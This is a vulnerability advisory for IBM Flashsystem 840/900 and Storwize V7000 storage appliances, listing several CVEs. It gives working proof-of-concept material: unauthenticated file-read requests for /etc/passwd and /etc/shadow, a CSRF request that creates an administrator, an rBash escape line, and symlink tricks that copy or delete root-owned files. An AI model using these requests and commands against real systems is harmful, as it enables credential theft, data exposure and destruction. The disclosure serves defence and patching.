Vulnerabilities in IBMs Flashsystems and Storwize Products
-------------------------------------------------------------------------

Introduction
============
Vulnerabilities were identified in the IBM Flashsystem 840, IBM Flashsystem
900 and IBM Storwize V7000. These were discovered during a black box
assessment and therefore the vulnerability list should not be considered
exhaustive; observations suggest that it is likely that further
vulnerabilities exist. It is strongly recommended that IBM Corporation
undertakes a full whitebox security assessment of this application.

The version under test was indicated as: 1.6.2.2 build 18

Affected Software And Versions
==============================
- IBM Flashsystem 900
- IBM Flashsystem 840
- IBM Storwize V7000

Affected versions are indicated directly within the reported issues.

Vulnerability Details
=====================

---------------------------------------------
CVE-2018-1438. Unauthenticated arbitrary file read on V7000 Unified
allowing storage data access
---------------------------------------------

On the IBM V7000 Unified System the web handler /DLSnap does not require
authentication and allows to read arbitrary files from the system as
"root", including the data stored in the storage system from the mounted
shares.

GET /DLSnap?filename=/ibm/<redacted>/secret-file.txt HTTP/1.1
Host: v7ku01
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9


HTTP/1.1 200 OK

--------------------------------------------------
CVE-2018-1433. Unauthenticated file read via the DownloadFile Handler /
Authenticated arbitrary file read via the DownloadFile Handler on v7000
Unified
--------------------------------------------------


In case of the following list of products, the DownloadFile handler allows
unauthenticated file reading under the "webadmin" user:
IBM Flashsystem 900
IBM Flashsystem 840
IBM Storwize V7000

Example request:
GET /DownloadFile?filename=/etc/passwd HTTP/1.1
Host: v7k01n02
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

On the V7000 Unified the same request handler allows reading arbitrary
files under the "root" user, however authentication is required here:
GET /DownloadFile?filename=/etc/shadow
Host: v7ku01
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <redacted>

-----------------------------------------------
CVE-2018-1434: Web interface vulnerable to CSRF
-----------------------------------------------

The main web interface on the V7000 Unified is vulnerable to CSRF and other
interfaces seem to be vulnerable as well. This could allow an external
attacker to execute commands on behalf of a user/administrator of the
system and potentially also access data stored on the system.

Example request (using a cross domain XMLHttpRequest):
POST /RPCAdapter HTTP/1.1
Host: v7ku01
Origin: https://www.example.com
Referer: https://www.example.com/create_admin.html
Content-Type: text/plain
Connection: close
Content-Length: 183
Cookie: <redacted>

{"clazz":"com.ibm.evo.rpc.RPCRequest","methodClazz":"com.ibm.sonas.gui.logic.AccessRPC","methodName":"launchCreateUserTask","methodArgs":["my-secadmin","<redacted>",["Administrator"]]}


Response:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
Content-Type: application/json;charset=UTF-8
Content-Length: 319
Connection: close

{"clazz":"com.ibm.evo.rpc.RPCResponse","messages":null,"result":{"clazz":"com.ibm.sonas.gui.logic.tasks.access.CreateUserTask","shouldBeScheduled":true,"started":1516202190188,"id":"<redacted>","name":"Create
User", "state":"Running","status":"Task
started.","progress":-1,"returnValue": null}}

---------------------------------------------
CVE-2018-1462: Ineffective rBash Configuration
---------------------------------------------

On machines with a restricted bash, a possible escape from rBash looks like
the following:
BASH_CMDS[escape]=/bin/bash;escape

--------------------------------------------------
CVE-2018-1463: World readable credentials and encryption keys
--------------------------------------------------

While some systems have removed the world-read bit from several files and
directories, more important files which contain application configuration
details, passwords and secret keys are world readable and sometimes also
world writable. On the IBM Flash System, this also includes the storage
encryption key.

# Partial directory listing of /persist/ on the Unified system:
drwxr-xr-x.  2 root root   4096 Jan 18 01:35 .
drwxr-xr-x. 29 root root   4096 Aug 15 16:16 ..
...
-rw-r--r--.  1 root root  27040 Jan 16 08:28 vpd
...

# Partial directory listing of /mnt/plfs on the Flash system:
drwxrwxrwx 4 root  root        0 Dec 31  1969 .
drwxr-x--x 7 root  root     1024 Jan  8 07:41 ..
-rw-rw-rw- 1 root  root       24 Oct 24  2016 encryption.key

-----------------------------------------------
CVE-2018-1464: Sensitive file disclosure of files readable by root
-----------------------------------------------

The setuid binary svc_copy is a wrapper around the script sw_copy which
calls cp on the shell.

Creating a symlink to any file, this file can be copied as root to /dumps
and is world readable/writable (-rw-rw-rw- ):

$ ln -s /etc/shadow /tmp/shadow
$ ./svc_copy /tmp/shadow /dumps/

The file /dumps/shadow is now world readable with the permissions
(-rw-rw-rw- )

---------------------------------------------
CVE-2018-1495: Arbitrary file deletion
---------------------------------------------

The setuid binary log_cleanup is a wrapper around log_cleanup.py

This binary wipes the directories /dumps or /tmp and has an undocumented
feature "-s" (delete target of symlink).

The following command deletes an arbitrary file (e.g. /etc/shadow):
$ ln -s /etc/shadow /tmp/shadow
$ ./log_cleanup -s
Select /tmp as target directory to be wiped

--------------------------------------------------
CVE-2018-1467: Unauthenticated information disclosure
--------------------------------------------------

Some web handlers on the V7000 Unified expose system configuration without
authentication which could be used by an attacker to collect vital details
about the environment.

-----------------------------------------------
CVE-2018-1465: Unprivileged web server process may read SSL private key
-----------------------------------------------

The current private key for the installed SSL certificate on the V7000 FC
CE Cannister Node is readable by the webadmin user:
-rw-r----- 1 webadmin 1000 1679 Aug 15 09:47 /dev/server.key

As a result the file can be read through vulnerabilities in the web
application, e.g. via the DownloadFile handler (see separate issue).

Certificate details:
Validity: 15 years
Subject: C=GB, L=Hursley, O=IBM, OU=SSG, CN=2076,
emailAddress=support@....com

---------------------------------------------
CVE-2018-1466: Weak password hashing algorithm used
---------------------------------------------

The root password on the V7000 (CE) FC Cannister and Flash System nodes
(and probably others, too) are hashed with a weak algorithm (DES) instead
of the SHA512 which is the system's default according to /etc/login.defs.

--------------------------------------------------
CVE-2018-1461: Missing Security Related HTTP Headers
--------------------------------------------------

XSS Protection HTTP Header
The XSS Filter is a feature that is built into modern web browsers and is
meant to prevent reflective Cross Site Scripting attacks. This feature can
be explicitly turned on (and also off) by using the HTTP header
X-XSS-Protection.

X-Content-Type Header
To make MIME type confusion attacks harder, the HTTP header
X-Content-Type-Options can be set. This header prevents trusting the user
provided MIME type and instead guessing the MIME type of the server
response.
